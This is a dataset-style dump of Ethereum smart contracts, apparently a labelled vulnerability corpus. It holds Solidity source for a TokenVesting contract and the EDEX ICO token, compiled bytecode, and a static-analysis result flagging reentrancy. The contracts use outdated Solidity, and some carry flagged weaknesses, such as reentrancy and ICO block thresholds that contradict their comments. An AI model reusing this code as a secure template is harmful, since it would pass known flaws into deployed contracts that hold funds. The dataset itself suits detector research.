assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* @notice Renouncing to ownership will leave the contract without an owner.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
/**
* @title TokenVesting
* @dev A token holder contract that can release its token balance gradually like a
* typical vesting scheme, with a cliff and vesting period. Optionally revocable by the
* owner.
*/
contract TokenVesting is Ownable {
using SafeMath for uint256;
using SafeERC20 for ERC20Basic;
event Released(uint256 amount);
event Revoked();
// beneficiary of tokens after they are released
address public beneficiary;
uint256 public cliff;
uint256 public start;
uint256 public duration;
bool public revocable;
mapping (address => uint256) public released;
mapping (address => bool) public revoked;
/**
* @dev Creates a vesting contract that vests its balance of any ERC20 token to the
* _beneficiary, gradually in a linear fashion until _start + _duration. By then all
* of the balance will have vested.
* @param _beneficiary address of the beneficiary to whom vested tokens are transferred
* @param _cliff duration in seconds of the cliff in which tokens will begin to vest
* @param _start the time (as Unix time) at which point vesting starts
* @param _duration duration in seconds of the period in which the tokens will vest
* @param _revocable whether the vesting is revocable or not
*/
constructor(
address _beneficiary,
uint256 _start,
uint256 _cliff,
uint256 _duration,
bool _revocable
)
public
{
require(_beneficiary != address(0));
require(_cliff <= _duration);
beneficiary = _beneficiary;
revocable = _revocable;
duration = _duration;
cliff = _start.add(_cliff);
start = _start;
}
/**
* @notice Transfers vested tokens to beneficiary.
* @param token ERC20 token which is being vested
*/
function release(ERC20Basic token) public {
uint256 unreleased = releasableAmount(token);
require(unreleased > 0);
released[token] = released[token].add(unreleased);
token.safeTransfer(beneficiary, unreleased);
emit Released(unreleased);
}
/**
* @notice Allows the owner to revoke the vesting. Tokens already vested
* remain in the contract, the rest are returned to the owner.
* @param token ERC20 token which is being vested
*/
function revoke(ERC20Basic token) public onlyOwner {
require(revocable);
require(!revoked[token]);
uint256 balance = token.balanceOf(this);
uint256 unreleased = releasableAmount(token);
uint256 refund = balance.sub(unreleased);
revoked[token] = true;
token.safeTransfer(owner, refund);
emit Revoked();
}
/**
* @dev Calculates the amount that has already vested but hasn't been released yet.
* @param token ERC20 token which is being vested
*/
function releasableAmount(ERC20Basic token) public view returns (uint256) {
return vestedAmount(token).sub(released[token]);
}
/**
* @dev Calculates the amount that has already vested.
* @param token ERC20 token which is being vested
*/
function vestedAmount(ERC20Basic token) public view returns (uint256) {
uint256 currentBalance = token.balanceOf(this);
uint256 totalBalance = currentBalance.add(released[token]);
if (block.timestamp < cliff) {
return 0;
} else if (block.timestamp >= start.add(duration) || revoked[token]) {
return totalBalance;
} else {
return totalBalance.mul(block.timestamp.sub(start)).div(duration);
}
}
}
|
0x6080604052600436106100cf5763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416630fb5a6b481146100d457806313d033c0146100fb5780631726cbc814610110578063191655871461013e578063384711cc1461016e57806338af3eed1461019c578063715018a6146101da57806374a8f103146101ef578063872a78101461021d5780638da5cb5b146102465780639852595c1461025b578063be9a655514610289578063f2fde38b1461029e578063fa01dc06146102cc575b600080fd5b3480156100e057600080fd5b506100e96102fa565b60408051918252519081900360200190f35b34801561010757600080fd5b506100e9610300565b34801561011c57600080fd5b506100e973ffffffffffffffffffffffffffffffffffffffff60043516610306565b34801561014a57600080fd5b5061016c73ffffffffffffffffffffffffffffffffffffffff6004351661034b565b005b34801561017a57600080fd5b506100e973ffffffffffffffffffffffffffffffffffffffff60043516610411565b3480156101a857600080fd5b506101b16105c2565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b3480156101e657600080fd5b5061016c6105de565b3480156101fb57600080fd5b5061016c73ffffffffffffffffffffffffffffffffffffffff6004351661066f565b34801561022957600080fd5b50610232610828565b604080519115158252519081900360200190f35b34801561025257600080fd5b506101b1610831565b34801561026757600080fd5b506100e973ffffffffffffffffffffffffffffffffffffffff6004351661084d565b34801561029557600080fd5b506100e961085f565b3480156102aa57600080fd5b5061016c73ffffffffffffffffffffffffffffffffffffffff60043516610865565b3480156102d857600080fd5b5061023273ffffffffffffffffffffffffffffffffffffffff60043516610895565b60045481565b60025481565b73ffffffffffffffffffffffffffffffffffffffff81166000908152600660205260408120546103459061033984610411565b9063ffffffff6108aa16565b92915050565b600061035682610306565b90506000811161036557600080fd5b73ffffffffffffffffffffffffffffffffffffffff821660009081526006602052604090205461039b908263ffffffff6108bc16565b73ffffffffffffffffffffffffffffffffffffffff8084166000818152600660205260409020929092556001546103da9291168363ffffffff6108c916565b6040805182815290517ffb81f9b30d73d830c3544b34d827c08142579ee75710b490bab0b3995468c5659181900360200190a15050565b60008060008373ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b1580156104b157600080fd5b505af11580156104c5573d6000803e3d6000fd5b505050506040513d60208110156104db57600080fd5b505173ffffffffffffffffffffffffffffffffffffffff851660009081526006602052604090205490925061051790839063ffffffff6108bc16565b905060025442101561052c57600092506105bb565b6004546003546105419163ffffffff6108bc16565b42101580610574575073ffffffffffffffffffffffffffffffffffffffff841660009081526007602052604090205460ff165b15610581578092506105bb565b6105b86004546105ac61059f600354426108aa90919063ffffffff16565b849063ffffffff6109a816565b9063ffffffff6109d116565b92505b5050919050565b60015473ffffffffffffffffffffffffffffffffffffffff1681565b60005473ffffffffffffffffffffffffffffffffffffffff16331461060257600080fd5b6000805460405173ffffffffffffffffffffffffffffffffffffffff909116917ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482091a2600080547fffffffffffffffffffffffff0000000000000000000000000000000000000000169055565b600080548190819073ffffffffffffffffffffffffffffffffffffffff16331461069857600080fd5b60055460ff1615156106a957600080fd5b73ffffffffffffffffffffffffffffffffffffffff841660009081526007602052604090205460ff16156106dc57600080fd5b604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff8616916370a082319160248083019260209291908290030181600087803b15801561074a57600080fd5b505af115801561075e573d6000803e3d6000fd5b505050506040513d602081101561077457600080fd5b5051925061078184610306565b9150610793838363ffffffff6108aa16565b73ffffffffffffffffffffffffffffffffffffffff808616600081815260076020526040812080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00166001179055549293506107f9929091168363ffffffff6108c916565b6040517f44825a4b2df8acb19ce4e1afba9aa850c8b65cdb7942e2078f27d0b0960efee690600090a150505050565b60055460ff1681565b60005473ffffffffffffffffffffffffffffffffffffffff1681565b60066020526000908152604090205481565b60035481565b60005473ffffffffffffffffffffffffffffffffffffffff16331461088957600080fd5b610892816109e6565b50565b60076020526000908152604090205460ff1681565b6000828211156108b657fe5b50900390565b8181018281101561034557fe5b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561096c57600080fd5b505af1158015610980573d6000803e3d6000fd5b505050506040513d602081101561099657600080fd5b505115156109a357600080fd5b505050565b60008215156109b957506000610345565b508181028183828115156109c957fe5b041461034557fe5b600081838115156109de57fe5b049392505050565b73ffffffffffffffffffffffffffffffffffffffff81161515610a0857600080fd5b6000805460405173ffffffffffffffffffffffffffffffffffffffff808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff929092169190911790555600a165627a7a72305820d82b87cdf5c6a058dfbacf8595832798f0f935ffb2a56739c70da4cfc8b331e00029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 8,059 |
0x16dfa86c1f3ae293fa01915718df563b26952408
|
pragma solidity ^0.4.16;
contract SafeMath{
// math operations with safety checks that throw on error
// small gas improvement
function safeMul(uint256 a, uint256 b) internal returns (uint256){
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function safeDiv(uint256 a, uint256 b) internal returns (uint256){
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
function safeSub(uint256 a, uint256 b) internal returns (uint256){
assert(b <= a);
return a - b;
}
function safeAdd(uint256 a, uint256 b) internal returns (uint256){
uint256 c = a + b;
assert(c >= a);
return c;
}
// mitigate short address attack
// https://github.com/numerai/contract/blob/c182465f82e50ced8dacb3977ec374a892f5fa8c/contracts/Safe.sol#L30-L34
modifier onlyPayloadSize(uint numWords){
assert(msg.data.length >= numWords * 32 + 4);
_;
}
}
contract Token{ // ERC20 standard
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
function balanceOf(address _owner) constant returns (uint256 balance);
function transfer(address _to, uint256 _value) returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
function approve(address _spender, uint256 _value) returns (bool success);
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
}
contract StandardToken is Token, SafeMath{
uint256 public totalSupply;
function transfer(address _to, uint256 _value) onlyPayloadSize(2) returns (bool success){
require(_to != address(0));
require(balances[msg.sender] >= _value && _value > 0);
balances[msg.sender] = safeSub(balances[msg.sender], _value);
balances[_to] = safeAdd(balances[_to], _value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) onlyPayloadSize(3) returns (bool success){
require(_to != address(0));
require(balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0);
balances[_from] = safeSub(balances[_from], _value);
balances[_to] = safeAdd(balances[_to], _value);
allowed[_from][msg.sender] = safeSub(allowed[_from][msg.sender], _value);
Transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint256 balance){
return balances[_owner];
}
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
function approve(address _spender, uint256 _value) onlyPayloadSize(2) returns (bool success){
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function changeApproval(address _spender, uint256 _oldValue, uint256 _newValue) onlyPayloadSize(3) returns (bool success){
require(allowed[msg.sender][_spender] == _oldValue);
allowed[msg.sender][_spender] = _newValue;
Approval(msg.sender, _spender, _newValue);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining){
return allowed[_owner][_spender];
}
// this creates an array with all balances
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
}
contract EDEX is StandardToken{
// public variables of the token
string public name = "Equadex";
string public symbol = "EDEX";
uint256 public decimals = 18;
// reachable if max amount raised
uint256 public maxSupply = 100000000e18;
// ICO starting and ending blocks, can be changed as needed
uint256 public icoStartBlock;
// icoEndBlock = icoStartBlock + 345,600 blocks for 2 months ICO
uint256 public icoEndBlock;
// set the wallets with different levels of authority
address public mainWallet;
address public secondaryWallet;
// time to wait between secondaryWallet price updates, mainWallet can update without restrictions
uint256 public priceUpdateWaitingTime = 1 hours;
uint256 public previousUpdateTime = 0;
// strucure of price
PriceEDEX public currentPrice;
uint256 public minInvestment = 0.01 ether;
// for tokens allocated to the team
address public grantVestedEDEXContract;
bool private grantVestedEDEXSet = false;
// halt the crowdsale should any suspicious behavior of a third-party be identified
// tokens will be locked for trading until they are listed on exchanges
bool public haltICO = false;
bool public setTrading = false;
// maps investor address to a liquidation request
mapping (address => Liquidation) public liquidations;
// maps previousUpdateTime to the next price
mapping (uint256 => PriceEDEX) public prices;
// maps verified addresses
mapping (address => bool) public verified;
event Verification(address indexed investor);
event LiquidationCall(address indexed investor, uint256 amountTokens);
event Liquidations(address indexed investor, uint256 amountTokens, uint256 etherAmount);
event Buy(address indexed investor, address indexed beneficiary, uint256 ethValue, uint256 amountTokens);
event PrivateSale(address indexed investor, uint256 amountTokens);
event PriceEDEXUpdate(uint256 topInteger, uint256 bottomInteger);
event AddLiquidity(uint256 etherAmount);
event RemoveLiquidity(uint256 etherAmount);
// for price updates as a rational number
struct PriceEDEX{
uint256 topInteger;
uint256 bottomInteger;
}
struct Liquidation{
uint256 tokens;
uint256 time;
}
// grantVestedEDEXContract and mainWallet can transfer to allow team allocations
modifier isSetTrading{
require(setTrading || msg.sender == mainWallet || msg.sender == grantVestedEDEXContract);
_;
}
modifier onlyVerified{
require(verified[msg.sender]);
_;
}
modifier onlyMainWallet{
require(msg.sender == mainWallet);
_;
}
modifier onlyControllingWallets{
require(msg.sender == secondaryWallet || msg.sender == mainWallet);
_;
}
modifier only_if_secondaryWallet{
if (msg.sender == secondaryWallet) _;
}
modifier require_waited{
require(safeSub(now, priceUpdateWaitingTime) >= previousUpdateTime);
_;
}
modifier only_if_increase (uint256 newTopInteger){
if (newTopInteger > currentPrice.topInteger) _;
}
function EDEX(address secondaryWalletInput, uint256 priceTopIntegerInput, uint256 startBlockInput, uint256 endBlockInput){
require(secondaryWalletInput != address(0));
require(endBlockInput > startBlockInput);
require(priceTopIntegerInput > 0);
mainWallet = msg.sender;
secondaryWallet = secondaryWalletInput;
verified[mainWallet] = true;
verified[secondaryWallet] = true;
// priceTopIntegerInput = 800,000 for 1 ETH = 800 EDEX
currentPrice = PriceEDEX(priceTopIntegerInput, 1000);
// icoStartBlock should be around block number 5,709,200 = June 1st 2018
icoStartBlock = startBlockInput;
// icoEndBlock = icoStartBlock + 345,600 blocks
icoEndBlock = endBlockInput;
previousUpdateTime = now;
}
function setGrantVestedEDEXContract(address grantVestedEDEXContractInput) external onlyMainWallet{
require(grantVestedEDEXContractInput != address(0));
grantVestedEDEXContract = grantVestedEDEXContractInput;
verified[grantVestedEDEXContract] = true;
grantVestedEDEXSet = true;
}
function updatePriceEDEX(uint256 newTopInteger) external onlyControllingWallets{
require(newTopInteger > 0);
require_limited_change(newTopInteger);
currentPrice.topInteger = newTopInteger;
// maps time to new PriceEDEX
prices[previousUpdateTime] = currentPrice;
previousUpdateTime = now;
PriceEDEXUpdate(newTopInteger, currentPrice.bottomInteger);
}
function require_limited_change (uint256 newTopInteger) private only_if_secondaryWallet require_waited only_if_increase(newTopInteger){
uint256 percentage_diff = 0;
percentage_diff = safeMul(newTopInteger, 100) / currentPrice.topInteger;
percentage_diff = safeSub(percentage_diff, 100);
// secondaryWallet can increase price by 20% maximum once every priceUpdateWaitingTime
require(percentage_diff <= 20);
}
function updatePriceBottomInteger(uint256 newBottomInteger) external onlyMainWallet{
require(block.number > icoEndBlock);
require(newBottomInteger > 0);
currentPrice.bottomInteger = newBottomInteger;
// maps time to new Price
prices[previousUpdateTime] = currentPrice;
previousUpdateTime = now;
PriceEDEXUpdate(currentPrice.topInteger, newBottomInteger);
}
function tokenAllocation(address investor, uint256 amountTokens) private{
require(grantVestedEDEXSet);
// the 15% allocated to the team
uint256 teamAllocation = safeMul(amountTokens, 1764705882352941) / 1e16;
uint256 newTokens = safeAdd(amountTokens, teamAllocation);
require(safeAdd(totalSupply, newTokens) <= maxSupply);
totalSupply = safeAdd(totalSupply, newTokens);
balances[investor] = safeAdd(balances[investor], amountTokens);
balances[grantVestedEDEXContract] = safeAdd(balances[grantVestedEDEXContract], teamAllocation);
}
function privateSaleTokens(address investor, uint amountTokens) external onlyMainWallet{
require(block.number < icoEndBlock);
require(investor != address(0));
verified[investor] = true;
tokenAllocation(investor, amountTokens);
Verification(investor);
PrivateSale(investor, amountTokens);
}
function verifyInvestor(address investor) external onlyControllingWallets{
verified[investor] = true;
Verification(investor);
}
// blacklists bot addresses using ICO whitelisted addresses
function removeVerifiedInvestor(address investor) external onlyControllingWallets{
verified[investor] = false;
Verification(investor);
}
function buy() external payable{
buyTo(msg.sender);
}
function buyTo(address investor) public payable onlyVerified{
require(!haltICO);
require(investor != address(0));
require(msg.value >= minInvestment);
require(block.number >= icoStartBlock && block.number < icoEndBlock);
uint256 icoBottomInteger = icoBottomIntegerPrice();
uint256 tokensToBuy = safeMul(msg.value, currentPrice.topInteger) / icoBottomInteger;
tokenAllocation(investor, tokensToBuy);
// send ether to mainWallet
mainWallet.transfer(msg.value);
Buy(msg.sender, investor, msg.value, tokensToBuy);
}
// bonus scheme during ICO, 1 ETH = 800 EDEX for 1st 20 days, 1 ETH = 727 EDEX for 2nd 20 days, 1 ETH = 667 EDEX for 3rd 20 days
function icoBottomIntegerPrice() public constant returns (uint256){
uint256 icoDuration = safeSub(block.number, icoStartBlock);
uint256 bottomInteger;
// icoDuration < 115,200 blocks = 20 days
if (icoDuration < 100){
return currentPrice.bottomInteger;
}
// icoDuration < 230,400 blocks = 40 days
else if (icoDuration < 200 ){
bottomInteger = safeMul(currentPrice.bottomInteger, 110) / 100;
return bottomInteger;
}
else{
bottomInteger = safeMul(currentPrice.bottomInteger, 120) / 100;
return bottomInteger;
}
}
// change ICO starting date if more time needed for preparation
function changeIcoStartBlock(uint256 newIcoStartBlock) external onlyMainWallet{
require(block.number < icoStartBlock);
require(block.number < newIcoStartBlock);
icoStartBlock = newIcoStartBlock;
}
function changeIcoEndBlock(uint256 newIcoEndBlock) external onlyMainWallet{
require(block.number < icoEndBlock);
require(block.number < newIcoEndBlock);
icoEndBlock = newIcoEndBlock;
}
function changePriceUpdateWaitingTime(uint256 newPriceUpdateWaitingTime) external onlyMainWallet{
priceUpdateWaitingTime = newPriceUpdateWaitingTime;
}
function requestLiquidation(uint256 amountTokensToLiquidate) external isSetTrading onlyVerified{
require(block.number > icoEndBlock);
require(amountTokensToLiquidate > 0);
address investor = msg.sender;
require(balanceOf(investor) >= amountTokensToLiquidate);
require(liquidations[investor].tokens == 0);
balances[investor] = safeSub(balances[investor], amountTokensToLiquidate);
liquidations[investor] = Liquidation({tokens: amountTokensToLiquidate, time: previousUpdateTime});
LiquidationCall(investor, amountTokensToLiquidate);
}
function liquidate() external{
address investor = msg.sender;
uint256 tokens = liquidations[investor].tokens;
require(tokens > 0);
uint256 requestTime = liquidations[investor].time;
// obtain the next price that was set after the request
PriceEDEX storage price = prices[requestTime];
require(price.topInteger > 0);
uint256 liquidationValue = safeMul(tokens, price.bottomInteger) / price.topInteger;
// if there is enough ether on the contract, proceed. Otherwise, send back tokens
liquidations[investor].tokens = 0;
if (this.balance >= liquidationValue)
enact_liquidation_greater_equal(investor, liquidationValue, tokens);
else
enact_liquidation_less(investor, liquidationValue, tokens);
}
function enact_liquidation_greater_equal(address investor, uint256 liquidationValue, uint256 tokens) private{
assert(this.balance >= liquidationValue);
balances[mainWallet] = safeAdd(balances[mainWallet], tokens);
investor.transfer(liquidationValue);
Liquidations(investor, tokens, liquidationValue);
}
function enact_liquidation_less(address investor, uint256 liquidationValue, uint256 tokens) private{
assert(this.balance < liquidationValue);
balances[investor] = safeAdd(balances[investor], tokens);
Liquidations(investor, tokens, 0);
}
function checkLiquidationValue(uint256 amountTokensToLiquidate) constant returns (uint256 etherValue){
require(amountTokensToLiquidate > 0);
require(balanceOf(msg.sender) >= amountTokensToLiquidate);
uint256 liquidationValue = safeMul(amountTokensToLiquidate, currentPrice.bottomInteger) / currentPrice.topInteger;
require(this.balance >= liquidationValue);
return liquidationValue;
}
// add liquidity to contract for investor liquidation
function addLiquidity() external onlyControllingWallets payable{
require(msg.value > 0);
AddLiquidity(msg.value);
}
// remove liquidity from contract
function removeLiquidity(uint256 amount) external onlyControllingWallets{
require(amount <= this.balance);
mainWallet.transfer(amount);
RemoveLiquidity(amount);
}
function changeMainWallet(address newMainWallet) external onlyMainWallet{
require(newMainWallet != address(0));
mainWallet = newMainWallet;
}
function changeSecondaryWallet(address newSecondaryWallet) external onlyMainWallet{
require(newSecondaryWallet != address(0));
secondaryWallet = newSecondaryWallet;
}
function enableTrading() external onlyMainWallet{
require(block.number > icoEndBlock);
setTrading = true;
}
function claimEDEX(address _token) external onlyMainWallet{
require(_token != address(0));
Token token = Token(_token);
uint256 balance = token.balanceOf(this);
token.transfer(mainWallet, balance);
}
// disable transfers and allow them once token is tradeable
function transfer(address _to, uint256 _value) isSetTrading returns (bool success){
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) isSetTrading returns (bool success){
return super.transferFrom(_from, _to, _value);
}
function haltICO() external onlyMainWallet{
haltICO = true;
}
function unhaltICO() external onlyMainWallet{
haltICO = false;
}
// fallback function
function() payable{
require(tx.origin == msg.sender);
buyTo(msg.sender);
}
}
|
0x60806040526004361061023b576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306eca5111461028057806306fdde0314610297578063095ea7b3146103275780630db065f41461038c578063129caa18146103e757806312ea965d146103fe578063133f44dc1461042957806318160ddd1461046c5780631998524c1461049757806323b62b75146104c457806323b872dd1461051b57806328a07025146105a0578063313ce567146105b7578063347820eb146105e25780633e97db0d1461060d57806347d70f74146106505780634f4955131461067b57806370a08231146106c857806371b7d5c41461071f578063750ee24a1461074a5780637c519ffb1461077757806381813963146107a657806387d67208146107e95780638a8c523c146108165780638ac2c6801461082d5780639281cd6514610858578063937d4c42146108c7578063950691361461092557806395d89b41146109525780639c8f9f23146109e25780639d1b464a14610a0f578063a1741d0f14610a41578063a6f2ae3a14610a82578063a9059cbb14610a8c578063abbc54b014610af1578063bc31c1c114610b1e578063c33a66e014610b66578063cbcf98e614610b93578063ccb6cbe814610bd6578063d5abeb0114610c01578063d84dbdc314610c2c578063d937ed4414610c6f578063dcf72c1014610cc6578063dd62ed3e14610cfc578063e8078d9414610d73578063f364759714610d7d578063f66a79a014610dc0575b3373ffffffffffffffffffffffffffffffffffffffff163273ffffffffffffffffffffffffffffffffffffffff1614151561027557600080fd5b61027e33610e17565b005b34801561028c57600080fd5b50610295611004565b005b3480156102a357600080fd5b506102ac61107d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156102ec5780820151818401526020810190506102d1565b50505050905090810190601f1680156103195780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561033357600080fd5b50610372600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061111b565b604051808215151515815260200191505060405180910390f35b34801561039857600080fd5b506103cd600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112bc565b604051808215151515815260200191505060405180910390f35b3480156103f357600080fd5b506103fc6112dc565b005b34801561040a57600080fd5b50610413611355565b6040518082815260200191505060405180910390f35b34801561043557600080fd5b5061046a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061135b565b005b34801561047857600080fd5b506104816114ad565b6040518082815260200191505060405180910390f35b3480156104a357600080fd5b506104c2600480360381019080803590602001909291905050506114b3565b005b3480156104d057600080fd5b506104d96115b4565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561052757600080fd5b50610586600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506115da565b604051808215151515815260200191505060405180910390f35b3480156105ac57600080fd5b506105b56116bb565b005b3480156105c357600080fd5b506105cc611831565b6040518082815260200191505060405180910390f35b3480156105ee57600080fd5b506105f7611837565b6040518082815260200191505060405180910390f35b34801561061957600080fd5b5061064e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061183d565b005b34801561065c57600080fd5b50610665611919565b6040518082815260200191505060405180910390f35b34801561068757600080fd5b506106c6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061191f565b005b3480156106d457600080fd5b50610709600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611abe565b6040518082815260200191505060405180910390f35b34801561072b57600080fd5b50610734611b07565b6040518082815260200191505060405180910390f35b34801561075657600080fd5b5061077560048036038101908080359060200190929190505050611b0d565b005b34801561078357600080fd5b5061078c611b91565b604051808215151515815260200191505060405180910390f35b3480156107b257600080fd5b506107e7600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611ba4565b005b3480156107f557600080fd5b5061081460048036038101908080359060200190929190505050611e20565b005b34801561082257600080fd5b5061082b611ea4565b005b34801561083957600080fd5b50610842611f2d565b6040518082815260200191505060405180910390f35b34801561086457600080fd5b506108ad600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919080359060200190929190505050611f33565b604051808215151515815260200191505060405180910390f35b3480156108d357600080fd5b50610908600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506120c9565b604051808381526020018281526020019250505060405180910390f35b34801561093157600080fd5b50610950600480360381019080803590602001909291905050506120ed565b005b34801561095e57600080fd5b506109676123e7565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156109a757808201518184015260208101905061098c565b50505050905090810190601f1680156109d45780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156109ee57600080fd5b50610a0d60048036038101908080359060200190929190505050612485565b005b348015610a1b57600080fd5b50610a24612602565b604051808381526020018281526020019250505060405180910390f35b348015610a4d57600080fd5b50610a6c60048036038101908080359060200190929190505050612614565b6040518082815260200191505060405180910390f35b610a8a61268d565b005b348015610a9857600080fd5b50610ad7600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612698565b604051808215151515815260200191505060405180910390f35b348015610afd57600080fd5b50610b1c60048036038101908080359060200190929190505050612777565b005b348015610b2a57600080fd5b50610b49600480360381019080803590602001909291905050506127dd565b604051808381526020018281526020019250505060405180910390f35b348015610b7257600080fd5b50610b9160048036038101908080359060200190929190505050612801565b005b348015610b9f57600080fd5b50610bd4600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612953565b005b348015610be257600080fd5b50610beb612a2f565b6040518082815260200191505060405180910390f35b348015610c0d57600080fd5b50610c16612aae565b6040518082815260200191505060405180910390f35b348015610c3857600080fd5b50610c6d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612ab4565b005b348015610c7b57600080fd5b50610c84612c06565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610cfa600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e17565b005b348015610d0857600080fd5b50610d5d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612c2c565b6040518082815260200191505060405180910390f35b610d7b612cb3565b005b348015610d8957600080fd5b50610dbe600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612daf565b005b348015610dcc57600080fd5b50610dd5612f20565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b600080601360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610e7257600080fd5b601060159054906101000a900460ff16151515610e8e57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610eca57600080fd5b600f543410151515610edb57600080fd5b6007544310158015610eee575060085443105b1515610ef957600080fd5b610f01612a2f565b915081610f1334600d60000154612f46565b811515610f1c57fe5b049050610f298382612f81565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f19350505050158015610f91573d6000803e3d6000fd5b508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f89f5adc174562e07c9c9b1cae7109bbecb21cf9d1b2847e550042b8653c54a0e3484604051808381526020018281526020019250505060405180910390a3505050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561106057600080fd5b6000601060156101000a81548160ff021916908315150217905550565b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156111135780601f106110e857610100808354040283529160200191611113565b820191906000526020600020905b